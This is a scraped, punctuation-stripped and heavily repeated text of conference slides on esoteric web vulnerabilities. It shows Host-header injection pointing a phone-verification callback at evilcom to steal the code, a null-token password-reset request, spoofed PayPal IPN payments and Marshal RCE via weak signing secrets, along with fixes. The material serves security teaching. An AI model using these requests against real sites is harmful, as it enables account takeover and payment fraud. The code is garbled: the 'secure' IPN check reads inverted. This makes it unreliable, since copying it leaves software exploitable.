Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 11: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 12: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 13: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

